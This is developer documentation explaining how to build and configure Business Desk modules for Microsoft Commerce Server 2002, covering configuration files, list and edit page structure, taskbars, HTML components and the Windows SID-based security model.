  • Typical Module Workflow. Describes how the pages and corresponding workflow within a Business Desk module are typically arranged.


Skill Set Assumptions

As a developer of a new Commerce Server Business Desk module, you need to be sufficiently familiar with the following technologies:

  • Dynamic Hypertext Markup Language (DHTML)
  • Extensible Markup Language (XML)
  • Extensible Stylesheet Language (XSL)
  • XML Query Language (XQL)
  • Active Data Objects (ADO)
  • HTML Components (HTC), also known as DHTML Behaviors
  • Active Server Pages (ASP)

For detailed information about these technologies, see the online version of The Microsoft Developer Network (MSDN) at http://go.microsoft.com/fwlink/?LinkId=5161.


Summary of Required Steps in Building a New Commerce Server Business Desk Module

The following sequence of steps is required to build a new Commerce Server Business Desk module. (For more information about terminology that may be unfamiliar, see Business Desk Terminology.)

  1. Create a new folder under the Business Desk root folder for the site in question. Give it a unique name appropriate to the purpose of the new Business Desk module.
  2. Create a module configuration file in the Config folder within the Business Desk root folder. Give it a unique name appropriate to the purpose of the new Business Desk module. This file must express the module configuration information in a particular XML format. For more information about this XML format, see Module Configuration Files.

    Typically, the module configuration file contains an action element for each of the several action pages in the module and at least one module element. This file also describes the taskbar buttons for each action page.

  3. Add a moduleconfig element to the master configuration file that references the newly created module configuration file. Like the module configuration files, the configuration information in the master configuration file is expressed as XML. For more information about XML format of the master configuration file, see Master Configuration File.

    The moduleconfig element to be added identifies the ID of the category with which the new module is to be associated. In some cases it may be appropriate to define a new category for the new module. This is done within the master configuration file.

  4. Create the appropriate ASP pages for the new Business Desk module. Typically, there is one ASP page for each defined action element, plus any module-specific utility files included in the action pages. They should reside in the folder created in step 1.

    Each action page should include the appropriate Business Desk utilities file(s) and link to the main Business Desk style sheet (Bizdesk.css). Then they should call one of the two routines InsertTaskBar (list pages) or InsertEditTaskBar (edit pages) immediately after the opening HTML <BODY> tag.

    Although step 4 is described here as a single step, the creation and debugging of the action pages represents the vast majority of the work involved in developing a Business Desk module.

  5. Create a new HTML help file for each action page in the new module and place them in the Business Desk "docs\htm" folder. Set the helptopic attribute of each action element in the new module configuration file to refer to the appropriate new help file. For the sake of consistency, it is recommended that any new help topics be modeled on the existing help topics.

    If there is no specific help topic page for a given action page, simply leave the helptopic attribute as an empty string and clicking the help button for that page will bring up general Business Desk help.

The SDK includes two different aids to this process, as follows:

  • The folder <drive>:\Program Files\Microsoft Commerce Server 2002\SDK\Samples\BizDesk\Module contains several files that are designed to make the process of creating a new Business Desk module easier. This includes the file Instructions.txt, which provides further instructions on making use of those files. The additional files include ASP pages for basic list, edit, and response pages, and a template for a file in which strings can be isolated.
  • The folder <drive>:\Program Files\Microsoft Commerce Server 2002\SDK\Samples\BizDesk\Installer contains the files required to build the BizDeskModuleInstaller object, which can be used to help automate the process of installing a new module into an existing instance of the Business Desk. For more information about the BizDeskModuleInstaller object, see Automating Module Installation.


Business Desk Terminology

This topic defines the basic concepts associated with Commerce Server Business Desk and the terminology associated with them. The following list contains the names and descriptions of these concepts:

framework
A set of services provided for use by Business Desk modules. These services include navigation, security, and user interface controls. In addition, the framework provides a set of standardized mechanisms defining how to integrate Business Desk modules.
category
An organizational construct used within the navigation pane that allows the grouping of related Business Desk modules.
module
A set of ASP files that provide a particular type of related functionality that are organized with one or more entry points from the navigation pane.
master configuration file
The XML configuration file that defines the categories and modules available within a particular instance of Business Desk. Each module entry identifies a module configuration file that contains the configuration information for that module.
module configuration file
An XML configuration file that defines the actions, tasks, and entry points for a module (or set of modules). Module entry points identify the category with which they are associated.
HTML Components (HTCs), also known as DHTML Behaviors
A set of data display and manipulation controls that are implemented as HTML Components that are used extensively within Business Desk modules. Business Desk includes the following HTCs: DynamicTable, EditField, EditSheet, ExpressionBuilder, ListEditor, ListSheet, QueryBuilder, and TreeView. For more information about these HTCs, see HTML Components in Business Desk.
action page
A single ASP file that provides a particular aspect of the functionality associated with a module. It is typically displayed as a result of clicking a module name in the navigation pane, or as a result of clicking one of the task buttons on an action page.
list page
One of two main types of action pages, list pages provide a read-only view of some type of data, and allow that data to be filtered, sorted, selected, and acted upon. List pages typically display a ListSheet HTC. Sometimes a find pane and its associated HTCs are displayed above the ListSheet HTC. List pages share the Business Desk workspace with the navigation pane.
edit page
One of two main types of action pages, edit pages provide mechanisms for altering the data being displayed. Different edit pages employ different HTCs, depending on the nature of the data being edited. Edit pages do not share the Business Desk workspace with the navigation pane. The latter is hidden from view when edit pages are rendered, thereby preventing navigation to a different module until the edit page is dismissed and the user returns to a list page.
EditSheet group (or EditSheet section)
A section within an EditSheet HTC on an edit page that has a collapsable heading, allowing the information in that section to be displayed or hidden as preferred by the user.
task
An operation performed from an action page, often leading to the display of a different action page where the details of the task are performed. Tasks are initiated by pressing a task button. Some tasks, such as Open and Delete, are context-sensitive; they apply to whatever is selected in the current action page.
task bar
The horizontal area at the top of the content pane where the buttons corresponding to various tasks can be found. (In the user interface documentation, the taskbar is referred to as the toolbar. They are the same, and the naming difference in the User Interface (UI) is due to a desire to conform to Windows standards where end users are concerned.)
navigation pane
The window on the left side of list pages used to display the hierarchy of categories and modules.
content pane
The window on the right side of list pages, and sole window of edit pages, in which action pages are rendered.
find pane
An area in the upper portion of the module content pane in list pages in which find criteria are entered, and then used in a Find task. Most commonly, the lower portion of the module content pane consists of a ListSheet HTC in which the results of the Find task are displayed.
page title bar
The horizontal area at the top of the content pane used to display the page title.
status bar
The horizontal area at the bottom of the content pane used to display status messages.
HTML Application (HTA)
A special type of browser instance in which the normal browser user interface is not displayed. Normally, HTAs will not have the full range of menu and toolbar choices found in a generic browser instance. The Business Desk is designed to run only as an HTA.


Typical Module Workflow

This topic discusses the typical workflow found within most Commerce Server Business Desk modules. This is only a statement of typical workflow; some Business Desk modules may not conform to it. It is the responsibility of the designer of a new Business Desk module to determine the best workflow for that module. Nevertheless, the workflow discussed here has emerged as the most typical.

Using a few modules in Business Desk quickly yields the following observations about the typical workflow for Business Desk modules. The initial action page for a given module presents a mechanism for viewing a table containing a few properties (the columns) of a number of records (the rows). The control that implements this table is the ListSheet HTML Component (HTC) It can be configured in number of different ways.

Frequently, there are too many records to view at one time. Paging through different screens of records is one answer to this problem. It is also typical for there to be mechanisms for limiting the set of records displayed, such as the ability to search for and display only those records matching specified criteria. The ability to sort the records is also typical, and is accomplished in the ListSheet HTC by clicking the column heading of the property on which to sort.

The next step in the workflow involves choosing a task to perform and initiating that task by pressing a task button. Any task that involves existing data requires that the data be identified by being selected. The task buttons associated with such tasks are usually not enabled unless an appropriate selection has been made. Other tasks, such as the New task, generally do not require existing data to be selected.

In any event, the choice of a task often leads to a different action. This new action is generally an action page, known as an edit page, which allows the editing of properties associated with the new or selected record (or records). Once the editing is complete and the Save task is chosen, the user can click a Back taskbar button to display the original ListSheet HTC and continue to the next task.

Sometimes the act of choosing a task results in the display of a dialog box, rather than immediately displaying a new action. A typical example is a dialog box used to confirm a Delete task.

Other tasks might display a short menu to determine the action to be taken. For example, when the New task is clicked, a menu might be displayed to allow the user to select which of several types of objects they wish to add.

The following diagram illustrates one possible Business Desk session, outlined here using the numbered boxes near the arrows.

  • In step 1, the user chooses Module 1.
  • In steps 2 and 3, the user "drills down" two levels to examine and perhaps modify some detailed data, returning to the list page for Module 1 in steps 4 and 5.
  • The steps shown for Module 2 illustrate how a task might loop back to the same action page. An example is the Save and Create New task where the workflow is optimized for a situation in which a number of new items need to be created, one after the other.
  • The steps for Module 3 illustrate how a task might lead back to the same action page, but with a dialog box intervening. An example is the Delete task, where it is typical to present a confirmation dialog box, especially when the data is particularly important or difficult to recover.

A typical new module is likely to have a single list page that is displayed when the module is chosen in the navigation pane. The list page will probably have a small number of tasks it can perform, perhaps five or six tasks. Of these, a few might lead to different edit pages, or perhaps to the same edit page, initialized with different data (the New task versus the Edit task). Some tasks might lead directly to confirmation dialog boxes, and then back to the list page, having carried out or aborted the task.


Business Desk Architecture

This section describes the architecture of Commerce Server Business Desk. The following diagram illustrates how a set of configuration files provides two important types of information needed for the Business Desk Framework to support navigation. The first type determines the set of categorized modules that will be accessible within Business Desk. The second type is used to build and manage the taskbar, which will probably be unique to each action page.

The diagram also illustrates how modules are typically designed such that their initial action page is a list page, from which edit pages may be accessed using task buttons. It also shows the typical design in which a user must return to the initial list page in order to move to a different module.

The choice of the HTML Component (HTC) shown in the various edit pages is purely arbitrary, though a master EditSheet HTC is generally used to contain any other editing controls. The ListSheet HTC is the most common HTC on list pages, sometimes accompanied by individual HTML controls and EditField HTCs in a find pane.

The ListSheet HTC provides a few different modes in which it operates, many of which are designed to accommodate hierarchical data. This often allows the use of a single list page, as opposed to multiple layers of nested list pages on different action pages.

There are three main points to the diagram. First, the master configuration file, together with a set of module configuration files, provides the information needed by the Business Desk Framework to manage both the navigation pane and the taskbar displayed on each action page.

The second point is that action pages that display read-only lists, known as list pages, are always displayed along with the navigation pane. This means that to move to a different module, the user must do so from a list page, not an edit page. List pages are read-only (with the exception of tasks like Delete and Import), which means that users will not generally need to be presented with warnings about leaving the module without having saved changes to data.

The third point is that navigation between action pages should typically be done through the task buttons on the taskbar. This mechanism allows the Business Desk Framework to provide services that occur during transition between action pages. Direct linking of action pages to buttons within a page should be minimized.

This section contains:

  • Framework. Describes the services provided by the Business Desk Framework as well as the visual environment in which Business Desk displays the various Business Desk modules.
  • HTML Application and the Client Installer. Describes how the Business Desk is normally run within the context of an HTA, and how the files necessary for this are downloaded to the client the first time Business Desk is invoked.
  • Configuration Files. Describes how a number of files containing configuration information, specified using XML, provide the data that allows the Business Desk Framework to supply many of its services.
  • Categories. Describes the notion of categories and how they are used to organize modules within Business Desk.
  • Modules. Describes the composition of Business Desk modules, including their manifestation as ASP pages as well as how they make themselves known to the Business Desk Framework.
  • Action Pages. Describes typical contents of the ASP pages that implement Business Desk actions, including information about special elements that all such pages should include, and provides an anatomy of such pages.
  • Tasks. Describes the notion of a task within the Business Desk environment and how tasks are used as the mechanism through which Business Desk provides support for navigation within a particular module.
  • HTML Components. Describes the use of HTML Components (HTC) within Business Desk, including how they provide a standardized mechanism for viewing and altering data.
  • XMLHTTP Operations. Describes the functionality used by a list page to retrieve additional data for the ListSheet HTC without requiring the whole page to be re-rendered. This is an important enhancement that improves the performance of paging through large sets of data, or late loading of detailed data. Also describes framework routines for using XMLHTTP communication to enable saving without needing to reload the page.
  • Security. Describes how the security mechanisms within Business Desk allow for restricting particular users to subsets of the available Business Desk categories, modules, tasks, and data.
  • State Management. Describes the mechanisms available for preserving state on either the client or the server between the various action pages of Business Desk.
  • Error Reporting. Describes the mechanisms available for reporting client and server errors to the Business Desk user.
  • Online Help. Describes how the online Business Desk Help system is implemented and how online Help for new Business Desk modules can be integrated.


Framework

The Commerce Server Business Desk Framework provides the environment in which Business Desk modules are executed. The following list describes the various aspects of this environment:

  • The Framework provides mechanisms through which one module can discover and enumerate the other modules configured in a particular instance of Business Desk.
  • The Framework includes a set of sophisticated data manipulation controls, most of which are implemented as HTML Components (HTCs). HTCs are a form of DHTML behaviors supported in Microsoft Internet Explorer 5. These components provide consistent display, selection, and modification of data among various Business Desk modules, greatly enhancing the sense that Business Desk and its modules are operating as a single, integrated application. List management and data validation are examples of the standardized services provided by these components.
  • The Framework provides a security mechanism through which particular users or groups of users can be restricted from accessing specific categories and modules displayed in the navigation pane, from performing particular tasks within a given module, and even from performing particular actions on particular items of data.
  • The Framework provides the visual environment in which modules are displayed. This environment includes several standard elements such as the navigation pane, the content pane, page title, taskbar, and a status bar.
  • The Framework provides standard mechanisms for navigation between modules and within a module. The navigation pane provides for navigation between different modules, allowing the user to choose a new module in which to work. The task buttons provide for navigation between the various pages comprising a given module. When a Business Desk edit page is displayed, the navigation pane is hidden, forcing the user to complete or cancel the edit action before leaving the module. Hiding the navigation pane also provides a larger area in which the edit page can be displayed.


HTML Application and the Client Installer

Normally, the Business Desk runs as an HTML Application (HTA). An HTA is a customized instance of a browser that hides some of the normal browser features (such as the toolbar and address bar) so that a more consistent and usable user interface can be provided. Business Desk is designed such that, in production, it forces itself to be run as an HTA.

You can override the behavior that forces execution only within an HTA by changing the Business Desk from production mode to development mode. Near the top of the Global.asa file for the Business Desk, you will find the following line of code:

MSCSEnv = PRODUCTION

PRODUCTION is a constant defined a few lines above, along with a sibling constant DEVELOPMENT. If you change the initialization of the MSCSEnv variable from PRODUCTION to DEVELOPMENT, a number of more debugging friendly behaviors ensue. One of these is the ability to execute Business Desk within an normal browser instance. Remember to change this line of code back to its original form before moving Business Desk, which now includes your new module, into a production environment.

Another aspect of Business Desk architecture that does not impact the development of new modules, but which is nevertheless important to understand, is that the first time Business Desk is invoked from a particular machine, it is going to launch the Client Installer. This short process will download a small number of files that must exist on the client for the Business Desk to operate as designed. As already mentioned, this does not affect the development of new modules.


Configuration Files

A set of Extensible Markup Language (XML) configuration files, the master configuration file and a number of module configuration files, are used to inform the Business Desk Framework about a number of different aspects of the modules that are included in a particular instance of Business Desk. At the highest level, each module uses this mechanism to specify information such as the category to which it belongs, the action pages it includes, and the tasks that are available on each of those action pages. At lower levels, a wide variety of additional information is specified in each of these configuration files.

For additional information about configuration of Business Desk, see Business Desk Configuration.

For detailed information about the XML structure of the master configuration file, see Master Configuration File.

For detailed information about the XML structure of the module configuration files, see Module Configuration Files.


Categories

The purpose of categories is to provide a way to organize the various modules in Commerce Server Business Desk. They provide the first level of organization in the navigation pane. The entry points to the modules serve as the second level.

Categories are implemented as entries in XML configuration files, and are displayed only in the navigation pane.

As the author of a new Business Desk module, you need to determine whether the new module belongs in one of the existing categories, or whether the functionality it provides warrants the creation of a new category. If you need to create a new category, you edit the XML contained in the master configuration file and add a new category element. The unique category ID that you devise for this category can then be referenced from the module configuration file that you create for your new Business Desk module. If you are going to add your new module to an existing category, you refer to the category ID of the existing category in your module configuration file.

A category is not displayed in the navigation pane if either of the following conditions is met:

  • No modules specify that category.
  • The current user does not have permission to access any of the module entry points within that category.


Modules

Commerce Server Business Desk modules are what provide the user interfaces that are used to accomplish actual, specific work within Business Desk. Though quite a few Business Desk modules ship with Microsoft Commerce Server 2002, undoubtedly the need for new modules will arise. How to build and integrate such new modules with the existing modules is the subject of this section.

A Business Desk module consists of the following:

  • A set of related ASP pages, including any private utility pages, that present a user interface for managing a particular type of business data. The module also includes any additional, pure-processing ASP pages that support the presented user interface. With the exception of the utility pages, typically included in pages of the other types, these pages are known as action pages.
  • Information about how and where the module should integrate into Business Desk relative to the existing categories and modules. This information is contained in the module configuration file, or potentially in more than one such file.
  • Information about how Business Desk should manage navigation between the ASP pages comprising the module, expressed in terms of tasks, and possibly including some icon files for display on task buttons specific to that module.
  • Optionally, and recommended, help files specific to action pages in the module.


Action Pages

Action pages are the Active Server Page (ASP) pages that constitute a module. Action pages can be used for pure-processing; that is, they are not responsible for the display of any user interface.

In contrast, many action pages are directly responsible for the user interface displayed in the content pane of Commerce Server Business Desk. There are two main types of action pages that are responsible for the display of the user interface: list pages and edit pages.

Any action page linked to as a module or task entry point must be registered in a module configuration file.

At a minimum, action pages responsible for the display of the content pane are comprised of the following:

  • Directives to include the appropriate Business Desk utility files. Some module-specific utility files might also be included.
  • The Business Desk customizable style sheet (CSS), which provides a consistent set of styles for a particular instance of Business Desk, as well as the styles required by the Business Desk HTML Components (HTCs).
  • A call to one of the Framework utility functions, InsertTaskBar or InsertEditTaskBar, to display the task buttons specified in the module configuration file for this action.
  • One or more HTML forms, sometimes including one or more HTCs, that specify the user interface elements associated with the action.

    Although the editing HTCs must generally be within the forms; non-editing controls (like the ListSheet HTC) need not be.

  • Optionally, the ASP code that processes the form data upon submission of the form. This code can be on the same action page, or can be on a different ASP page of either the pure-processing variety or the user interface variety, depending on how the tasks are configured. Typically, if the same page is to be displayed after some ASP code is executed, the form associated with the task will post to that same page and the ASP processing will be done at the top of the page before the content is redisplayed.

This section contains:

  • List Pages
  • Edit Pages


List Pages

List pages are one of two main types of action pages within Commerce Server Business Desk. List pages are characterized by several distinguishing features, as follows:

  • They are read-only. Data should never be modified on a list page (with the exception of search information in the find pane).
  • They appear along side the navigation pane, the latter of which allows a Business Desk user to leave the current module by selecting a different module. The list page is displayed in the right side of the Business Desk workspace.
  • Typically, list pages make use of a ListSheet HTML Component (HTC) for displaying data, using one of several distinct modes of operation offered by that HTC.
  • The list page is often divided into two distinct areas, arranging one above the other. The top area is known as the find pane, and typically contains a small number of EditField HTCs that allow the user to specify find criteria. The bottom area contains the ListSheet HTC mentioned above, and is known as the content pane. When a Find task is performed using the criteria specified in the find pane, the results are displayed in the ListSheet HTC in the content pane.

The following table describes the recommend logical structure for list pages.

Abbreviated List Page Code Description
<% InsertTaskBar %>

List Page server-side routine to insert the proper taskbar and show the navigation pane.

<DIV  id='FindByArea'>

DIV containing the whole find pane.

    <XML id='efMeta'> . . . </XML>

XML data-island containing the configuration data for the EditField HTCs.

    <XML id='efData'> . . . </XML>

XML data-island containing the actual data to be displayed in the EditField HTCs.

    <DIV id='edit1'> . . . </DIV>

DIV containing the first of several EditField HTCs used in the find pane.

    <DIV id='edit2'> . . . </DIV>

DIV containing the second of several EditField HTCs used in the find pane.

    <DIV id='edit3'> . . . </DIV>

DIV containing the third of several EditField HTCs used in the find pane.

</DIV>

End of the find pane DIV.

<DIV  id='ContentArea'

DIV containing the whole content pane.

    <XML id='lsMeta'> . . . </XML>

XML data-island containing the configuration data for the ListSheet HTC.

    <XML id='lsData'> . . . </XML>

XML data-island containing the actual data to be displayed in the ListSheet HTC.

    <DIV id='list1'> . . . </DIV>

DIV containing the ListSheet HTC used in the content pane.

</DIV>

End of the content pane DIV.


Edit Pages

Edit pages are one of two main types of action pages within Commerce Server Business Desk. Edit pages are characterized by several distinguishing features, and subject to certain conventions, as follows:

  • They are read/write. Data should only be modified on an edit page (with the exception of find pane fields on a list page).
  • They do not appear along side the navigation pane. When an edit page appears, the navigation pane is hidden and the edit page occupies the entire Business Desk workspace. This ensures that the user must save or cancel changes before moving to another module. To accomplish this behavior, edit pages must use the InsertEditTaskbar routine rather than the InsertTaskbar routine.
  • Edit pages typically make use of one or more different HTML Components (HTCs) to allow modification of data, including the DynamicTable HTC, the EditSheet HTC, the ListEditor HTC, and individual EditField HTCs. These various HTCs should be defined within a master (or outer) EditSheet HTC. This allows the event handlers to ensure proper operation of confirmation and warning dialogs associated with the Save task.
  • Edit pages with only one EditSheet group should not be expandable or collapsible, and therefore should not have a title bar.
  • When first loading, edit pages should, in general, have the first EditSheet group open and all others closed.
  • If you add an EditField HTC to an edit page you must supply your own label and required icon (if needed). For example:
    <TABLE>
<TR>
    <TD width=30><%= g_imgRequired %></TD>
    <TD CLASS='esLabelCell'>
        <LABEL FOR='password'>Password:</LABEL>
    </TD>
    <TD CLASS='esDataCell'>
        <DIV ID='password' CLASS='editField'
             MetaXML='efMeta'
             DataXML='efData'>Loading property...</DIV>
    </TD>
</TR>
</TABLE>
  • The g_imgRequired constant can be used to insert the markup for a required icon. The required icon is usually in a cell 20 pixels wide. If no required icon is needed simply replace the icon with a &nbsp; element.
  • All field labels should be nested within a LABEL element to provide for accessibility, and end with a semi-colon for consistency.
  • The esDataCell and esLabelCell values for the CLASS attribute allow the field to adopt the characteristics associated with the standard EditSheet layout.
  • If no required icon is needed simply replace the icon with a &nbsp; element
  • The following layout spacing conventions should be followed:
    • The content pane should have a 20-pixel margin on all sides.
    • Control buttons should always be left aligned, in a single horizontal row with six pixels between buttons. The normal size of a button is 80 pixels wide and 25 pixels high. They can be made wider to accommodate longer text.
    • Paging controls should always be right aligned.
    • Control buttons and paging controls should always be 12 pixels away from the control above them.
  • When an edit page is a module entry point (for example, tax rates page), the page must be given the following back button task so that the Back button links to the Business Desk welcome page (rather than to a list page):
    <task icon='taskback.gif' id='back'>
    <goto action='welcome.asp' />
    <name>&lt;U&gt;B&lt;/U&gt;ack</name>
    <key>b</key>
    <tooltip>Back to Main Menu</tooltip>
</task>

The following table describes the recommend logical structure for a particular, sample edit page. It demonstrates how to properly create a nested HTC structure of the following form:

    Master EditSheet
        EditSheet
        EditSheet
            EditSheet
            EditSheet
        EditSheet
            ListEditor
        EditSheet

Note that the code itself is abbreviated for clarity.

Abbreviated Edit Page Code Description
<% InsertEditTaskBar %>

Edit Page server-side routine to insert the proper taskbar and hide the navigation pane.

<XML  id='MasterMeta'>

Start of the XML data-island containing the configuration data for the outer EditSheet HTC.

    <editsheets>

Presence indicates that this EditSheet HTC contains multiple embedded EditSheet groups, listed in the order they are displayed from top to bottom.

    <editsheet> . . . </editsheet>

First nested EditSheet group. Gets its data from the containing EditSheet HTC (id='MasterData' in this example).

    <editsheet>

        <template
            register='InnerES'>
            <![CDATA[
              <DIV id=InnerES
                  class='EditSheet'
                  MetaXML='ESMeta'
                  DataXML='ESData'>
              </DIV>
            ]]>
        </template>
    </editsheet>

Second nested EditSheet group. In this example, the nested EditSheet group contains yet another EditSheet HTC (id=InnerES).

Because it uses the template mechanism, the inner EditSheet HTC must have its own MetaXML and DataXML data-islands.

The register attribute on the template tag assures the correct bubbling of events from the inner EditSheet to the master EditSheet.

    <editsheet>

        <template
            register='InnerLE'>
            <![CDATA[
              <DIV id=InnerLE
                  class='ListEditor'
                  MetaXML='LEMeta'
                  DataXML='LEData'>
              </DIV>
            ]]>
        </template>
    </editsheet>

Third nested EditSheet group. In this example, the nested EditSheet group contains a ListEditor HTC (id=InnerLE).

Because it uses the template mechanism, the inner ListEditor HTC must have its own MetaXML and DataXML data-islands.

The register attribute on the template tag assures the correct bubbling of events from the ListEditor to the master EditSheet.

    <editsheet> . . . </editsheet>

Fourth nested EditSheet HTC. Gets its data from the containing EditSheet HTC (id='MasterData' in this example).

    </editsheets>

End of container for multiple EditSheet HTCs.

</XML>

End of master EditSheet HTC configuration data-island.

<XML  id='MasterData'> . . . </XML>

XML data-island containing the actual data for the master EditSheet HTC. Data actually displayed in nested, non-template EditSheet HTCs.

<XML  id='ESMeta'>

Start of the XML data-island containing the configuration data for the inner EditSheet HTC.

    <editsheets>

Presence indicates that this EditSheet HTC contains multiple embedded EditSheet HTCs, listed in the order they are displayed from top to bottom.

    <editsheet> . . . </editsheet>

First nested EditSheet group. Gets its data from the containing EditSheet HTC (id='ESData' in this example).

    <editsheet> . . . </editsheet>

Second nested EditSheet group. Gets its data from the containing EditSheet HTC (id='ESData' in this example).

    </editsheets>

End of container for multiple EditSheet HTCs.

</XML>

End of nested EditSheet HTC configuration data-island.

<XML  id='ESData'> . . . </XML>

XML data-island containing the actual data for the nested EditSheet HTC.

<XML  id='LEMeta'>

    <listeditor> . . . </listeditor>
</XML>

XML data-island containing the configuration data for the nested ListEditor HTC.

<XML  id='LEData'> . . . </XML>

XML data-island containing the actual data for the inner ListEditor HTC.

<DIV  id='MasterEditSheet'

      class='EditSheet'
      MetaXML='MasterMeta'
      DataXML='MasterData'>
      Loading. Please wait...
</DIV>

DIV that defines the content of entire content pane.


Tasks

A Commerce Server Business Desk task is what ties one action page to another action page, sometimes performing some work during the page transition. In some circumstances the resultant action page can be the same as the originating action page. For example, the Delete task is likely to present a confirmation dialog box, delete the selected record(s) if confirmed, and then return the user to the originating page.

Another way to think about tasks is that they are the mechanism through which Business Desk users initiate high-level actions within the Business Desk. Examples of high-level actions include opening an edit page for a particular selected item, deleting a selected item, and creating a new item. High-level actions can be contrasted to low-level actions that take place within a single page. Examples of low-level actions include scrolling, paging, and changing the value of a displayed field.

Frequently, a task provides a mechanism for performing some more detailed manipulation of data that has been selected on the originating page. For example, suppose a user selects a row that corresponds to a particular record on one action page. By clicking the button for the Open task, the user is presented with a new action page that displays that record in more detail, showing additional fields that were not visible on the originating action page. The new page is likely to allow editing of at least some of the fields being displayed, allowing those fields of the record to be changed by the user.

Tasks are presented in Business Desk user interface as a horizontal row of buttons, known as the taskbar, located at the top of the content pane. There are two types of task buttons: standard task buttons and task menu buttons. Task menu buttons are one of several ways for handling what is known as task branching. The aspects of Business Desk tasks are discussed in more detail in the following topics.

This section contains:

  • Task Buttons and Menus
  • Task Branching
  • The Task Bar


Task Buttons and Menus

Tasks are presented in the Commerce Server Business Desk user interface as buttons. Typically, a task button displays an icon, retrieved from the image file specified as the value of the icon attribute of the task element. If the icon attribute is missing, the data value associated with the name element (child of task element) is used to label the button. The data value associated with the tooltip element (child of the task element) is used as mouse-over text.

For more information about the attributes and sub-elements of the task element, see the task element topic in the "Business Desk XML Structures" reference.

There are two types of task buttons used within Business Desk: standard task buttons and task menu buttons. Standard task buttons are buttons that perform some action when clicked. The action might be, for example, to go to a new action page, to display a deletion confirmation dialog box, or to save modified data.

In contrast, task menu buttons display a drop-down menu when clicked, presenting a number of distinct sub-tasks as possible choices. The user must click one of those choices before any action is taken.

A large number of icons have been pre-defined for a variety of generalized tasks, including some task menu icons. Wherever possible, developers of new Business Desk modules are encouraged to make use of these existing icons. For more information about icons, see Icons.


Task Branching

There are times when a particular task actually represents a number of distinct sub-tasks. For example, when adding a new item of some type, you add a new item with all blank fields, or a new item with field values inherited from a selected item of the same type.

This task branching can be handled in different ways. Sometimes the sub-task is obvious from the item selected, and no user input is required. The code can make the correct sub-task choice on behalf of the user.

If the user must explicitly make the sub-task choice, the preferred method is to define the task as a menu. Using this method, when the user clicks the task button a menu drops down, presenting them with the sub-task choices. This type of mechanism is easily configured within the corresponding task element in the module configuration file.

Another method of accomplishing sub-task branching when the user must make the choice is to use an intermediate dialog box. This can be done by adding an ONTASK attribute to the form associated with a task ("postto" type tasks only). The ONTASK attribute names a function to be executed after the user clicks the task button. This function could display the dialog window and then submit the form unless the user cancels the task.


The Task Bar

Every action page that presents a user interface in the content pane needs to define a set of tasks that are available from that page. These tasks are defined in the module configuration file, using the tasks element contained in each action element. For more information about the details of task definition for each action page, see the tasks element topic in the "Business Desk XML Structures" reference.

The tasks defined for an action page are displayed as a series of task buttons, starting at the top left corner of the content pane and continuing to the right. This series of buttons is known as the taskbar. Task buttons appear in the taskbar in the same order that the corresponding task elements appear within the tasks element in the module configuration file.

There are some conventions about the order in which tasks should be defined, and thus the order in which their associated task buttons will appear in the taskbar. For more information about task bar conventions, see Task Bar.

In addition to the tasks defined by each module, as represented by a left-justified set of task buttons, there is a single global task. This task is the Help task, which has a standard, right-justified button. The Help button displays with a question mark icon, and has the mouse-over text "View help for this page." The Help task is the only global task that is automatically included on every action page. Pages that do not specify a help topic using the helptopic attribute of the action element will display the general Business Desk help when clicked. There is no supported mechanism for adding new global tasks.


HTML Components

One of the important services provided by the Commerce Server Business Desk Framework is a set of HTML Components (HTCs) that provide a standardized manner in which data can be displayed and manipulated. These HTCs are used extensively in Business Desk modules that ship with Commerce Server 2002, and it is expected that they will also be used extensively in new Business Desk modules developed by third parties.

For more information about the HTCs provided by the Business Desk Framework, see HTML Components in Business Desk.

For detailed reference information about the properties, methods, and events supported by each HTC, and for information about the XML structures upon which these HTCs rely, see HTML Components and Business Desk XML Structures, respectively.


XMLHTTP Operations

Two of the HTML Components (HTCs) provided by the Commerce Server Business Desk Framework provide a special feature known as XMLHTTP operations. These HTCs are the ListSheet HTC and the TreeView HTC. The purpose of this feature is to enhance the performance of these HTCs by providing a structured mechanism in which the HTC can request additional XML data from the server in such a way that the page will not need to be reloaded.

In addition, there are a number of routines in the framework for doing XMLHTTP operations on a page outside the context of the ListSheet and TreeView HTCs. These routines can be used to implement pages that save information to the server without having to reload the entire page. Examples include many of the edit pages in the Campaign Manager module.

For more information about XMLHTTP operations and the fetch pages upon which they rely, see XMLHTTP Operations and Fetch Pages.

For more information about the configuration of XMLHTTP operations within the XML meta-data data-islands for the ListSheet HTC and the TreeView HTC, see ListSheet Configuration and TreeView Configuration, respectively.


Security

The Business Desk Framework in Commerce Server 2002 provides a new security model that was not present in Commerce Server 2000. Using this model, different users, and different groups of users can be restricted from accessing aspects of Business Desk at a variety of levels. The following list describes the various aspects of this security model:

  • Windows 2000 Security Identifiers (SIDs) form the basis upon which users or groups of users are allowed or denied access to different aspects of functionality within Business Desk. If your particular installation has a lot of Business Desk users, you should divide those users into logical groups and then secure Business Desk using the SIDs associated with those groups. In Windows 2000 Administrative Tools, use "Local Users and Groups" in the Computer Management tool to create and manage groups.
  • Business Desk security is divided into "security areas". There is one area that is implicitly created. It is for the Business Desk Framework and it handles security at the category, module, and task level. The security settings for these areas are constructed when Business Desk is initialized, based on the categories, modules, and tasks defined in the module configuration files. Initially, only users in the Administrators group are allowed to access Business Desk based on the default security settings for categories, modules, and tasks.

    Commerce Server 2002 also explicitly defines two additional security areas: "catalog" and "profile". These two areas provide finer-grained security for the Product Catalog System and the Profiling System, respectively. For catalogs, edit access can be restricted at the property and catalog levels. For profiles, read and edit access can be restricted at the individual property level.

  • The Security module of Business Desk is used to manipulate the security settings in various security areas. A user in the Administrators group should begin by using the Security module to extend access, as appropriate, to users not in the Administrators group.
  • Besides the SID, there are five key constructs in the security model: "area", "entity", "element", "right", and "deny", defined as follows:

    Area. A security area is logical division of Business Desk security settings according to the Commerce Server feature being secured. The Business Desk Framework constitutes the implicit area, and controls access to categories, modules, and their tasks in a generic manner. The other two areas defined for Commerce Server 2002 are "catalog" and "profile". These later two areas are defined in the same way that additional security areas could be defined for new Commerce Server functionality: by using the file config\master_security_config.xml and the ASP files that it references. The "area" construct is not used at the level of the API supplied by the BizDeskSecurity object.

    Entity. A security entity is the next lower division in the security hierarchy, under security areas. For example, in the Business Desk Framework, the security entities are category, module, and each set of tasks on individual action pages. For catalogs, the security entities are catalog and property. For profiles, the security entities are each defined profile, such as users and organizations. At the level of the API supplied by the BizDeskSecurity object, entities are the highest-level security construct, and must therefore all be unique. To this end, the Business Desk Framework prepends the string "bdfw_" to its category and module security entities, catalog security entities are prepended with "catalog_", and the profile security entities are prepended with "Profiles_".

